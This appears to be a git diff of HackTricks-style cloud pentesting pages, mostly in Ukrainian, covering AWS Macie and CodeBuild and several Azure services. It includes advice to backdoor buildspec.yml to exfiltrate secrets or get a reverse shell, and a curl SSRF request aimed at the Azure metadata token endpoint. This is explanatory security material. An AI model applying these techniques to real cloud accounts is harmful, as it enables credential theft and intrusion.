aws macie2 list-members
|
||||
|
||||
# Check if automated sensitive data discovey is enabled
|
||||
aws macie2 get-automated-discovery-configuration
|
||||
|
||||
# Get findings
|
||||
aws macie2 list-findings
|
||||
aws macie2 get-findings --finding-ids <ids>
|
||||
aws macie2 list-findings-filters
|
||||
aws macie2 get -findings-filters --id <id>
|
||||
|
||||
# Get allow lists
|
||||
aws macie2 list-allow-lists
|
||||
aws macie2 get-allow-list --id <id>
|
||||
|
||||
# Get different info
|
||||
aws macie2 list-classification-jobs
|
||||
aws macie2 describe-classification-job --job-id <Job_ID>
|
||||
aws macie2 list-classification-scopes
|
||||
aws macie2 list-custom-data-identifiers
|
||||
aws macie2 get-custom-data-identifier --id <Identifier_ID>
|
||||
|
||||
# Retrieve account details and statistics
|
||||
aws macie2 get-macie-session --region eu-west-1
|
||||
aws macie2 get-usage-statistics --region eu-west-1
|
||||
|
||||
# List and manage Macie members (for organizations)
|
||||
aws macie2 list-members --region eu-west-1
|
||||
|
||||
# List findings and get detailed information about specific findings
|
||||
aws macie2 list-findings --region eu-west-1
|
||||
aws macie2 get-findings --finding-id <Finding_ID> --region eu-west-1
|
||||
|
||||
# Manage custom data identifiers
|
||||
aws macie2 list-custom-data-identifiers --region eu-west-1
|
||||
aws macie2 get-custom-data-identifier --id <Identifier_ID> --region eu-west-1
|
||||
|
||||
# List and detail findings filters
|
||||
aws macie2 list-findings-filters --region eu-west-1
|
||||
aws macie2 get-findings-filter --id <Filter_ID> --region eu-west-1
|
||||
|
||||
aws macie2 get-macie-session
|
||||
aws macie2 get-usage-statistic
|
||||
```
|
||||
### Privesc
|
||||
|
||||
{{#ref}}
|
||||
../aws-privilege-escalation/aws-macie-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Post Exploitation
|
||||
|
||||
> [!TIP]
|
||||
> З точки зору атакуючого, ця служба не призначена для виявлення атакуючого, а для виявлення чутливої інформації у збережених файлах. Тому ця служба може **допомогти атакуючому знайти чутливу інформацію** всередині бакетів.\
|
||||
> Однак, можливо, атакуючий також може бути зацікавлений у її порушенні, щоб запобігти отриманню жертвою сповіщень і легше вкрасти цю інформацію.
|
||||
|
||||
TODO: PRs are welcome!
|
||||
|
||||
## References
|
||||
|
||||
- [https://cloudacademy.com/blog/introducing-aws-security-hub/](https://cloudacademy.com/blog/introducing-aws-security-hub/)
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# AWS - CodeBuild Неавтентифікований Доступ
|
||||
# AWS - CodeBuild Unauthenticated Access
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,10 +12,22 @@
|
||||
|
||||
### buildspec.yml
|
||||
|
||||
Якщо ви отримали доступ до запису в репозиторії, що містить файл з назвою **`buildspec.yml`**, ви можете **встановити бекдор** у цей файл, який вказує на **команди, що будуть виконані** всередині проекту CodeBuild, і ексфільтрувати секрети, скомпрометувати те,
|
||||
Якщо ви отримали доступ до запису в репозиторії, що містить файл з назвою **`buildspec.yml`**, ви можете **встановити бекдор** у цей файл, який вказує на **команди, що будуть виконані** всередині проекту CodeBuild, і ексфільтрувати секрети, скомпрометувати те, що виконується, а також скомпрометувати **облікові дані ролі IAM CodeBuild**.
|
||||
|
||||
Зверніть увагу, що навіть якщо немає жодного файлу **`buildspec.yml`**, але ви знаєте, що використовується Codebuild (або інший CI/CD), **модифікація деякого легітимного коду**, який буде виконано, також може дати вам реверс-шелл, наприклад.
|
||||
|
||||
Для деякої пов'язаної інформації ви можете переглянути сторінку про те, як атакувати Github Actions (схоже на це):
|
||||
|
||||
{{#ref}}
|
||||
../../../pentesting-ci-cd/github-security/abusing-github-actions/
|
||||
{{#endref}}
|
||||
|
||||
## Self-hosted GitHub Actions runners in AWS CodeBuild <a href="#action-runner" id="action-runner"></a>
|
||||
|
||||
Як [**вказано в документації**](https://docs.aws.amazon.com/codebuild/latest/userguide/action-runner.html), можливо налаштувати **CodeBuild** для виконання **самостійно хостованих Github дій**, коли тригериться робочий процес у налаштованому репозиторії Github. Це можна виявити, перевіривши конфігурацію проекту CodeBuild, оскільки **`Тип події`** має містити: **`WORKFLOW_JOB_QUEUED`**, а в робочому процесі Github він вибере **самостійно хостований** виконавець, як це:
|
||||
```bash
|
||||
runs-on: codebuild-<project-name>-${{ github.run_id }}-${{ github.run_attempt }}
|
||||
```
|
||||
Ця нова взаємозв'язок між Github Actions та AWS створює ще один спосіб компрометації AWS з Github, оскільки код у Github буде виконуватись у проекті CodeBuild з прикріпленою роллю IAM.
|
||||
Ця нова взаємозв'язок між Github Actions та AWS створює ще один спосіб скомпрометувати AWS з Github, оскільки код у Github буде виконуватися в проекті CodeBuild з прикріпленою роллю IAM.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,32 +1,33 @@
|
||||
# Az - PostgreSQL Post Exploitation
|
||||
# Az - PostgreSQL Постексплуатація
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## PostgreSQL Database Post Exploitation
|
||||
Для отримання додаткової інформації про PostgreSQL Database перегляньте:
|
||||
## Постексплуатація бази даних PostgreSQL
|
||||
Для отримання додаткової інформації про базу даних PostgreSQL перегляньте:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-postgresql.md
|
||||
{{#endref}}
|
||||
|
||||
### Використання розширення pg_azure_storage для доступу до облікових записів Storage
|
||||
|
||||
Можливо використовувати розширення **`pg_azure_storage` для доступу до облікових записів Azure Storage** з сервера PostgreSQL. Це використовуватиме дозволи керованої ідентичності, призначеної серверу, для доступу до облікового запису зберігання.
|
||||
|
||||
Для отримання додаткової інформації перегляньте цю техніку, пояснену в розділі підвищення привілеїв:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-postgresql-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### `Microsoft.DBforPostgreSQL/flexibleServers/databases/write` && `Microsoft.DBforPostgreSQL/flexibleServers/databases/read`
|
||||
|
||||
З цією дозволом ви можете створювати нові бази даних у екземплярі Postgres Flexible Server на Azure. Хоча ця дія сама по собі не змінює існуючі ресурси, надмірне або несанкціоноване створення баз даних може призвести до споживання ресурсів або потенційного зловживання сервером.
|
||||
З цим дозволом ви можете створювати нові бази даних у екземплярі Postgres Flexible Server на Azure. Хоча ця дія сама по собі не змінює існуючі ресурси, надмірне або несанкціоноване створення баз даних може призвести до споживання ресурсів або потенційного зловживання сервером.
|
||||
```bash
|
||||
az postgres flexible-server db create \
|
||||
--server-name <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--database-name <database_name>
|
||||
```
|
||||
### `Microsoft.DBforPostgreSQL/flexibleServers/backups/write`
|
||||
|
||||
З цією дозволом ви можете ініціювати створення резервних копій для екземпляра Postgres Flexible Server на Azure. Це дозволяє користувачам генерувати резервні копії за запитом, що може бути корисним для збереження даних у конкретні моменти часу.
|
||||
```bash
|
||||
az postgres flexible-server backup create \
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name>
|
||||
--backup-name <backup_name>
|
||||
```
|
||||
### `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/write` && `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/read`
|
||||
|
||||
З цією дозволом ви можете налаштувати або оновити параметри Advanced Threat Protection (ATP) для екземпляра Postgres Flexible Server на Azure. Це дозволяє увімкнути або вимкнути функції безпеки, призначені для виявлення та реагування на аномальні дії та потенційні загрози.
|
||||
|
||||
@@ -8,7 +8,7 @@ Azure Automation Accounts - це хмарні сервіси в Microsoft Azure,
|
||||
|
||||
### Settings
|
||||
|
||||
- **Credentials**: Пароль доступний лише в рамках runbook всередині облікового запису автоматизації, вони використовуються для **безпечного зберігання імен користувачів та паролів**.
|
||||
- **Credentials**: Пароль доступний лише в рамках runbook всередині облікового запису автоматизації, вони використовуються для **зберігання імен користувачів та паролів у безпечному вигляді**.
|
||||
- **Variables**: Використовуються для зберігання **даних конфігурації**, які можуть бути використані в runbooks. Це також може бути чутлива інформація, така як API ключі. Якщо змінна **зберігається в зашифрованому вигляді**, вона доступна лише в рамках runbook всередині облікового запису автоматизації.
|
||||
- **Certificates**: Використовуються для зберігання **сертифікатів**, які можуть бути використані в runbooks.
|
||||
- **Connections**: Використовуються для зберігання **інформації про з'єднання** з зовнішніми сервісами. Це може містити **чутливу інформацію**.
|
||||
@@ -18,21 +18,21 @@ Azure Automation Accounts - це хмарні сервіси в Microsoft Azure,
|
||||
|
||||
Runbook в Azure Automation - це **скрипт, який автоматично виконує завдання** у вашому хмарному середовищі. Runbooks можуть бути написані на PowerShell, Python або графічних редакторах. Вони допомагають автоматизувати адміністративні завдання, такі як управління ВМ, патчинг або перевірки відповідності.
|
||||
|
||||
У **коді**, розташованому всередині **Runbooks**, можуть міститися **чутливі дані** (такі як креденціали).
|
||||
У **коді**, розташованому всередині **Runbooks**, можуть міститися **чутливі дані** (такі як облікові дані).
|
||||
|
||||
**Job - це екземпляр виконання Runbook**. Коли ви запускаєте Runbook, створюється Job для відстеження цього виконання. Кожен job включає:
|
||||
**Завдання - це екземпляр виконання Runbook**. Коли ви запускаєте Runbook, створюється Завдання для відстеження цього виконання. Кожне завдання включає:
|
||||
|
||||
- **Status**: У черзі, Виконується, Завершено, Не вдалося, Призупинено.
|
||||
- **Output**: Результат виконання Runbook.
|
||||
- **Start and End Time**: Коли job почався і завершився.
|
||||
- **Start and End Time**: Коли завдання почалося і завершилося.
|
||||
|
||||
Job містить **вихідні дані** виконання **Runbook**. Якщо ви можете **читати** **jobs**, робіть це, оскільки вони **містять** **вихідні дані** виконання (можливу **чутливу інформацію**).
|
||||
Завдання містить **вихідні дані** виконання **Runbook**. Якщо ви можете **читати** **завдання**, робіть це, оскільки вони **містять** **вихідні дані** виконання (можливу **чутливу інформацію**).
|
||||
|
||||
### Schedules & Webhooks
|
||||
|
||||
Існує 3 основні способи виконання Runbook:
|
||||
|
||||
- **Schedules**: Використовуються для **тригера** Runbooks у **визначений час** або **інтервал**.
|
||||
- **Schedules**: Використовуються для **тригера** Runbooks у **вказаний час** або **інтервал**.
|
||||
- **Webhooks**: Це **HTTP кінцеві точки**, які можуть бути використані для **тригера** Runbooks з **зовнішніх сервісів**. Зверніть увагу, що URL вебхука **не видимий** після створення.
|
||||
- **Manual Trigger**: Ви можете **вручну запустити** Runbook з Azure Portal та з CLI.
|
||||
|
||||
@@ -42,7 +42,7 @@ Job містить **вихідні дані** виконання **Runbook**.
|
||||
|
||||
Коли синхронізація увімкнена, у **репозиторії Github створюється вебхук** для тригера синхронізації щоразу, коли відбувається подія push. Приклад URL вебхука: `https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d`
|
||||
|
||||
Зверніть увагу, що ці вебхуки **не будуть видимі** при переліку вебхуків у відповідних runbooks до репозиторію Github. Також зверніть увагу, що **не можна змінити URL репозиторію** джерела контролю після його створення.
|
||||
Зверніть увагу, що ці вебхуки **не будуть видимі** при переліку вебхуків у пов'язаних runbooks до репозиторію Github. Також зверніть увагу, що **не можна змінити URL репозиторію** джерела контролю після його створення.
|
||||
|
||||
Для того, щоб налаштований контроль джерела працював, **Azure Automation Account** повинен мати керовану ідентичність (системну або користувацьку) з роллю **`Contributor`**. Більше того, щоб призначити користувацьку керовану ідентичність обліковому запису автоматизації, потрібно вказати ідентифікатор клієнта користувацької MI в змінній **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
|
||||
|
||||
@@ -57,20 +57,20 @@ Job містить **вихідні дані** виконання **Runbook**.
|
||||
- **Python 3.8**
|
||||
- **Python 2.7**
|
||||
|
||||
Однак також можливо **створити свої власні середовища**, використовуючи одне з цих як основу. У випадку з Python можливо завантажити пакети `.whl` в середовище, яке буде використовуватися. У випадку з PowerShell можливо завантажити пакети `.zip` з модулями, які потрібно мати в середовищі виконання.
|
||||
Однак також можливо **створити свої власні середовища**, використовуючи одне з цих як базу. У випадку з Python можливо завантажити `.whl` пакети в середовище, яке буде використовуватися. У випадку з PowerShell можливо завантажити `.zip` пакети з модулями, які потрібно мати в середовищі виконання.
|
||||
|
||||
### Hybrid Worker Groups
|
||||
|
||||
В Azure Automation стандартним середовищем виконання для runbooks є **Azure Sandbox**, хмарна платформа, керована Azure, що підходить для завдань, пов'язаних з ресурсами Azure. Однак цей пісочниця має обмеження, такі як обмежений доступ до локальних ресурсів та обмеження на час виконання та використання ресурсів. Щоб подолати ці обмеження, використовуються Групи гібридних працівників. Група гібридних працівників складається з **одного або кількох Гібридних працівників Runbook, встановлених на ваших власних машинах**, будь то локально, в інших хмарних середовищах або ВМ Azure. Ця конфігурація дозволяє runbooks виконуватися безпосередньо на цих машинах, надаючи прямий доступ до локальних ресурсів, можливість виконувати триваліші та більш ресурсомісткі завдання, а також гнучкість для взаємодії з середовищами, які виходять за межі безпосереднього доступу Azure.
|
||||
В Azure Automation стандартним середовищем виконання для runbooks є **Azure Sandbox**, хмарна платформа, керована Azure, придатна для завдань, що стосуються ресурсів Azure. Однак цей пісочниця має обмеження, такі як обмежений доступ до локальних ресурсів та обмеження на час виконання та використання ресурсів. Щоб подолати ці обмеження, використовуються Групи гібридних працівників. Група гібридних працівників складається з **одного або кількох Гібридних працівників Runbook, встановлених на ваших власних машинах**, будь то локально, в інших хмарних середовищах або ВМ Azure. Ця конфігурація дозволяє runbooks виконуватися безпосередньо на цих машинах, надаючи прямий доступ до локальних ресурсів, можливість виконувати довші та більш ресурсомісткі завдання, а також гнучкість для взаємодії з середовищами, які виходять за межі безпосереднього доступу Azure.
|
||||
|
||||
Коли створюється група гібридних працівників, потрібно вказати **креденціали** для використання. Є 2 варіанти:
|
||||
Коли створюється група гібридних працівників, потрібно вказати **облікові дані** для використання. Є 2 варіанти:
|
||||
|
||||
- **Default credentials**: Вам не потрібно надавати креденціали, і runbooks будуть виконуватися всередині ВМ як **System**.
|
||||
- **Specific credentials**: Вам потрібно вказати ім'я об'єкта креденціалів всередині облікового запису автоматизації, який буде використовуватися для виконання **runbooks всередині ВМ**. Тому в цьому випадку може бути можливим **викрасти дійсні креденціали** для ВМ.
|
||||
- **Default credentials**: Вам не потрібно надавати облікові дані, і runbooks будуть виконуватися всередині ВМ як **System**.
|
||||
- **Specific credentials**: Вам потрібно надати ім'я об'єкта облікових даних всередині облікового запису автоматизації, який буде використовуватися для виконання **runbooks всередині ВМ**. Тому в цьому випадку може бути можливим **викрасти дійсні облікові дані** для ВМ.
|
||||
|
||||
Отже, якщо ви можете вибрати виконання **Runbook** в **Hybrid Worker**, ви будете виконувати **произвольні команди** всередині зовнішньої машини як **System** (гарна техніка повороту).
|
||||
Отже, якщо ви можете вибрати виконання **Runbook** у **Гібридному працівнику**, ви будете виконувати **произвольні команди** всередині зовнішньої машини як **System** (гарна техніка повороту).
|
||||
|
||||
Більше того, якщо гібридний працівник працює в Azure з іншими прикріпленими керованими ідентичностями, runbook зможе отримати доступ до **керованої ідентичності runbook та всіх керованих ідентичностей ВМ з метаданих сервісу**.
|
||||
Більше того, якщо гібридний працівник працює в Azure з іншими прикріпленими керованими ідентичностями, runbook зможе отримати доступ до **керованої ідентичності runbook та всіх керованих ідентичностей ВМ з сервісу метаданих**.
|
||||
|
||||
> [!TIP]
|
||||
> Пам'ятайте, що **сервіс метаданих** має інший URL (**`http://169.254.169.254`**), ніж сервіс, з якого отримують токен керованих ідентичностей облікового запису автоматизації (**`IDENTITY_ENDPOINT`**).
|
||||
@@ -232,6 +232,12 @@ Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -R
|
||||
../az-privilege-escalation/az-automation-accounts-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Постійність
|
||||
|
||||
{{#ref}}
|
||||
../az-persistence/az-automation-accounts-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
## Посилання
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/automation/overview](https://learn.microsoft.com/en-us/azure/automation/overview)
|
||||
|
||||
@@ -18,7 +18,7 @@ Azure Container Registry (ACR) - це безпечний, приватний р
|
||||
- Зміна політик
|
||||
- Підписування зображень
|
||||
|
||||
Існують також деякі **вбудовані ролі**, які можуть бути призначені, і також можливо створити **кастомні ролі**.
|
||||
Існують також деякі **вбудовані ролі**, які можна призначити, а також можливість створення **кастомних ролей**.
|
||||
|
||||

|
||||
|
||||
@@ -29,10 +29,10 @@ Azure Container Registry (ACR) - це безпечний, приватний р
|
||||
|
||||
Існує 4 способи аутентифікації до ACR:
|
||||
|
||||
- **З Entra ID**: Це **за замовчуванням** спосіб аутентифікації до ACR. Він використовує команду **`az acr login`** для аутентифікації до ACR. Ця команда **зберігає облікові дані** у файлі **`~/.docker/config.json`**. Більше того, якщо ви виконуєте цю команду з середовища без доступу до сокета docker, як у **хмарному терміналі**, можливо використовувати прапорець **`--expose-token`** для отримання **токена** для аутентифікації до ACR. Потім для аутентифікації потрібно використовувати як ім'я користувача `00000000-0000-0000-0000-000000000000`, наприклад: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN`
|
||||
- **З обліковим записом адміністратора**: Обліковий запис адміністратора за замовчуванням вимкнений, але його можна увімкнути, і тоді буде можливість отримати доступ до реєстру з **ім'ям користувача** та **паролем** облікового запису адміністратора з повними правами на реєстр. Це все ще підтримується, оскільки деякі служби Azure його використовують. Зверніть увагу, що для цього користувача створюються **2 паролі**, і обидва є дійсними. Ви можете увімкнути його за допомогою `az acr update -n <acrName> --admin-enabled true`. Зверніть увагу, що ім'я користувача зазвичай є ім'ям реєстру (а не `admin`).
|
||||
- **З токеном**: Можливо створити **токен** з **конкретною `scope map`** (дозволами) для доступу до реєстру. Потім можливо використовувати це ім'я токена як ім'я користувача та деякий згенерований пароль для аутентифікації до реєстру за допомогою `docker login -u <registry-name> -p <password> aregistry-url>`
|
||||
- **З сервісним принципалом**: Можливо створити **сервісний принципал** і призначити роль, таку як **`AcrPull`**, для витягування зображень. Потім буде можливість **увійти до реєстру**, використовуючи appId SP як ім'я користувача та згенерований секрет як пароль.
|
||||
- **З Entra ID**: Це **за замовчуванням** спосіб аутентифікації до ACR. Він використовує команду **`az acr login`** для аутентифікації до ACR. Ця команда **зберігає облікові дані** у файлі **`~/.docker/config.json`**. Більше того, якщо ви виконуєте цю команду з середовища без доступу до сокета docker, як у **хмарному терміналі**, можна використовувати прапорець **`--expose-token`** для отримання **токена** для аутентифікації до ACR. Потім для аутентифікації потрібно використовувати як ім'я користувача `00000000-0000-0000-0000-000000000000`, наприклад: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN`
|
||||
- **З обліковим записом адміністратора**: Обліковий запис адміністратора за замовчуванням вимкнено, але його можна увімкнути, і тоді буде можливість отримати доступ до реєстру з **ім'ям користувача** та **паролем** адміністратора з повними правами на реєстр. Це все ще підтримується, оскільки деякі служби Azure його використовують. Зверніть увагу, що для цього користувача створюються **2 паролі**, і обидва є дійсними. Ви можете увімкнути його за допомогою `az acr update -n <acrName> --admin-enabled true`. Зверніть увагу, що ім'я користувача зазвичай є ім'ям реєстру (а не `admin`).
|
||||
- **З токеном**: Можна створити **токен** з **конкретною `scope map`** (дозволами) для доступу до реєстру. Потім можна використовувати ім'я токена як ім'я користувача та будь-який з згенерованих паролів для аутентифікації до реєстру за допомогою `docker login -u <registry-name> -p <password> <registry-url>`
|
||||
- **З Service Principal**: Можна створити **службовий обліковий запис** і призначити роль, таку як **`AcrPull`**, для витягування зображень. Потім буде можливість **увійти до реєстру**, використовуючи appId SP як ім'я користувача та згенерований секрет як пароль.
|
||||
|
||||
Приклад скрипта з [документації](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) для генерації SP з доступом до реєстру:
|
||||
```bash
|
||||
@@ -98,7 +98,7 @@ az acr run --registry mycontainerregistry008 --cmd '$Registry/sample/hello-world
|
||||
|
||||
### Cache
|
||||
|
||||
Функція кешу дозволяє **завантажувати зображення з зовнішнього репозиторію** та зберігати нові версії в реєстрі. Це вимагає наявності деяких **налаштованих облікових даних**, вибравши облікові дані з Azure Vault.
|
||||
Функція кешу дозволяє **завантажувати зображення з зовнішнього репозиторію** та зберігати нові версії в реєстрі. Це вимагає наявності деяких **облікових даних**, вибравши облікові дані з Azure Vault.
|
||||
|
||||
Це дуже цікаво з точки зору атакуючого, оскільки це дозволяє **переходити на зовнішню платформу**, якщо атакуючий має достатні дозволи для доступу до облікових даних, **завантажувати зображення з зовнішнього репозиторію** та налаштування кешу також може бути використано як **механізм збереження**.
|
||||
|
||||
@@ -143,10 +143,16 @@ az acr cache list --registry <registry-name>
|
||||
# Get cache details
|
||||
az acr cache show --name <cache-name> --registry <registry-name>
|
||||
```
|
||||
## Підвищення Привілеїв та Після Експлуатації
|
||||
## Неавтентифікований доступ
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-automation-accounts-privesc.md
|
||||
../az-unauthenticated-enum-and-initial-entry/az-container-registry-unauth.md
|
||||
{{#endref}}
|
||||
|
||||
## Підвищення привілеїв та постексплуатація
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-container-registry-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Посилання
|
||||
|
||||
@@ -4,99 +4,175 @@
|
||||
|
||||
## Основна інформація
|
||||
|
||||
Azure Logic Apps - це хмарний сервіс, наданий Microsoft Azure, який дозволяє розробникам **створювати та виконувати робочі процеси, що інтегрують різні сервіси**, джерела даних та додатки. Ці робочі процеси призначені для **автоматизації бізнес-процесів**, оркестрації завдань та виконання інтеграцій даних між різними платформами.
|
||||
Azure Logic Apps дозволяє розробникам **створювати та виконувати робочі процеси, які інтегрують різні сервіси**, джерела даних та програми. Ці робочі процеси призначені для **автоматизації бізнес-процесів**, оркестрації завдань та виконання інтеграцій даних між різними платформами.
|
||||
|
||||
Logic Apps надає візуальний конструктор для створення робочих процесів з **широким спектром готових конекторів**, що спрощує підключення та взаємодію з різними сервісами, такими як Office 365, Dynamics CRM, Salesforce та багатьма іншими. Ви також можете створювати власні конектори для своїх специфічних потреб.
|
||||
Logic Apps надає **візуальний дизайнер** для створення робочих процесів з **широким спектром попередньо створених конекторів**, що спрощує підключення та взаємодію з різними сервісами:
|
||||
|
||||
При створенні Logic App ви повинні або створити, або зв'язати зовнішній обліковий запис зберігання, який зберігає стан робочого процесу, історію виконання та артефакти. Це зберігання можна налаштувати з діагностичними налаштуваннями для моніторингу та можна захистити обмеженнями доступу до мережі або інтегрувати в віртуальну мережу для контролю вхідного та вихідного трафіку.
|
||||
<figure><img src="../../../images/image (197).png" alt="https://infiniteblogs.blob.core.windows.net/medias/4de7fba4-1d43-465a-8c12-8da966a2cdb3_Overview.png"><figcaption></figcaption></figure>
|
||||
|
||||
### Приклади
|
||||
|
||||
- **Автоматизація даних**: Logic Apps можуть автоматизувати **процеси передачі та трансформації даних** у поєднанні з Azure Data Factory. Це корисно для створення масштабованих та надійних конвеєрів даних, які переміщують та трансформують дані між різними сховищами даних, такими як Azure SQL Database та Azure Blob Storage, що сприяє аналітиці та бізнес-інтелекту.
|
||||
- **Інтеграція з Azure Functions**: Logic Apps можуть працювати разом з Azure Functions для розробки **складних, подієвих додатків, які масштабуються за потреби** та безшовно інтегруються з іншими сервісами Azure. Прикладом використання є використання Logic App для виклику Azure Function у відповідь на певні події, такі як зміни в обліковому записі Azure Storage, що дозволяє динамічно обробляти дані.
|
||||
|
||||
### Візуалізація LogicAPP
|
||||
|
||||
Можливо переглянути LogicApp з графікою:
|
||||
|
||||
<figure><img src="../../../images/image (197).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
або перевірити код у розділі "**Перегляд коду Logic app**".
|
||||
|
||||
### Захист від SSRF
|
||||
|
||||
Навіть якщо ви знайдете **Logic App вразливим до SSRF**, ви не зможете отримати доступ до облікових даних з метаданих, оскільки Logic Apps цього не дозволяє.
|
||||
|
||||
Наприклад, щось на кшталт цього не поверне токен:
|
||||
```bash
|
||||
# The URL belongs to a Logic App vulenrable to SSRF
|
||||
curl -XPOST 'https://prod-44.westus.logic.azure.com:443/workflows/2d8de4be6e974123adf0b98159966644/triggers/manual/paths/invoke?api-version=2016-10-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=_8_oqqsCXc0u2c7hNjtSZmT0uM4Xi3hktw6Uze0O34s' -d '{"url": "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"}' -H "Content-type: application/json" -v
|
||||
```
|
||||
### Варіанти хостингу
|
||||
|
||||
Є кілька варіантів хостингу:
|
||||
Існує кілька варіантів хостингу:
|
||||
|
||||
* **Споживання**
|
||||
- **Багатоорендний**: надає спільні обчислювальні ресурси, працює в публічному хмарі та слідує моделі ціноутворення "плата за операцію". Це ідеально підходить для легких і економічних навантажень. Це розгортає "Один робочий процес".
|
||||
- **Багатокористувацький**: Це забезпечує спільні обчислювальні ресурси, працює в публічному хмарі та слідує моделі ціноутворення "плата за операцію". Це ідеально підходить для легких та економічних навантажень. Це те, що ми назвемо "Одиночний робочий процес".
|
||||
* **Стандартний**
|
||||
- **План служби робочих процесів**: виділені обчислювальні ресурси з інтеграцією VNET для мережі та стягує плату за екземпляр плану служби робочих процесів. Він підходить для більш вимогливих навантажень, які потребують більшого контролю.
|
||||
- **Середовище служби додатків V3**: виділені обчислювальні ресурси з повною ізоляцією та масштабованістю. Він також інтегрується з VNET для мережі та використовує модель ціноутворення на основі екземплярів служби додатків у середовищі.
|
||||
- **Гібридний**: призначений для локальної обробки та підтримки багатохмарних рішень. Він дозволяє керованим клієнтом обчислювальним ресурсам з доступом до локальної мережі та використовує Kubernetes Event-Driven Autoscaling (KEDA). Він покладається на середовище контейнерних додатків.
|
||||
- **План служби робочих процесів**: Це забезпечує виділені обчислювальні ресурси з інтеграцією VNET для мережі та стягує плату за екземпляр плану служби робочих процесів. Він підходить для більш вимогливих навантажень, які потребують більшого контролю.
|
||||
- **Середовище служби додатків V3:** Це забезпечує виділені обчислювальні ресурси з повною ізоляцією та масштабованістю. Він також інтегрується з VNET для мережі та використовує модель ціноутворення на основі екземплярів служби додатків у середовищі.
|
||||
- **Гібридний:** Це призначено для локальної обробки та підтримки багатохмарних рішень. Він дозволяє використовувати керовані клієнтом обчислювальні ресурси з доступом до локальної мережі та використовує Kubernetes Event-Driven Autoscaling (KEDA). Він покладається на середовище контейнерних додатків.
|
||||
|
||||
### Ключові особливості
|
||||
- **Сховище**: Logic Apps вимагають зовнішнього облікового запису Azure Storage для зберігання стану робочого процесу, історії виконання… і повинні бути в тій же групі ресурсів, що й Logic App.
|
||||
- **Мережа та безпека**: Logic Apps можуть бути налаштовані з публічним або приватним доступом. За замовчуванням додаток відкритий для Інтернету, але може бути інтегрований з Azure Virtual Network для ізольованого з'єднання.
|
||||
- **Application Insights**: Управління продуктивністю додатків (APM) через Azure Monitor Application Insights може бути активовано для відстеження продуктивності, виявлення аномалій та надання аналітики.
|
||||
- **Контроль доступу**: Logic Apps підтримують системні керовані ідентичності та ідентичності, керовані користувачем.
|
||||
## "Одиночні" робочі процеси / План споживання
|
||||
|
||||
### "Один" робочий процес
|
||||
**Робочий процес** - це структурована послідовність автоматизованих кроків або завдань, які виконують певний процес або мету. Він визначає, як різні дії, умови та рішення взаємодіють для досягнення бажаного результату, спрощуючи операції та зменшуючи ручні зусилля.
|
||||
|
||||
**Робочий процес** - це структурована послідовність автоматизованих кроків або завдань, які виконують певний процес або мету. Він визначає, як різні дії, умови та рішення взаємодіють для досягнення бажаного результату, спрощуючи операції та зменшуючи ручні зусилля. Робочі процеси можуть інтегрувати кілька систем, викликати події та правила, забезпечуючи узгодженість і ефективність у процесах.
|
||||
> [!TIP]
|
||||
> План споживання дозволяє **створювати один робочий процес без необхідності в самій Logic App**.
|
||||
|
||||
Azure Logic Apps надає функціональність **створення одного робочого процесу без необхідності в самому Logic App**.
|
||||
### Тригери та дії
|
||||
|
||||
Кожен робочий процес має різні **тригери**. Ці тригери - це кроки, які виконує робочий процес. Кожен тригер має свої параметри, які можуть варіюватися в залежності від типу тригера:
|
||||
- Ім'я з'єднання
|
||||
- **Тип аутентифікації**, який може бути, Access Key, Microsoft Entra ID, інтегрована аутентифікація службового облікового запису та керована ідентичність Logic Apps.
|
||||
Тригери робочого процесу вказують **коли робочий процес має початися**. Тригери можуть бути HTTP-інтерфейсом, розкладом або десятками різних подій з Azure або навіть зовнішніх додатків.
|
||||
|
||||
Тригери також мають різні налаштування:
|
||||
- Перевірка схеми: забезпечує, щоб вхідні дані відповідали попередньо визначеній структурі.
|
||||
- Контроль паралельності: обмежує кількість паралельних виконань.
|
||||
- Умови тригера: умови, які повинні бути виконані перед спрацьовуванням тригера.
|
||||
- Мережа: налаштовує розмір частини для передачі даних і дозволяє подавляти заголовки робочого процесу у відповідях.
|
||||
- **Безпека**: дозволяє **Безпечні Входи/Виходи для приховування** чутливих даних у журналах та виходах.
|
||||
Кожен робочий процес має різні **дії**. Ці дії - це кроки, які виконує робочий процес. В залежності від дії, різні параметри будуть доступні для налаштування, такі як:
|
||||
|
||||
**Налаштування та API з'єднання:**
|
||||
- **Назва з'єднання**: З'єднання, яке буде використовуватися, з яким дія буде взаємодіяти.
|
||||
- **Тип аутентифікації:** Різні варіанти - це Access Key, Microsoft Entra ID, інтегрована аутентифікація службового облікового запису та керована ідентичність Logic Apps.
|
||||
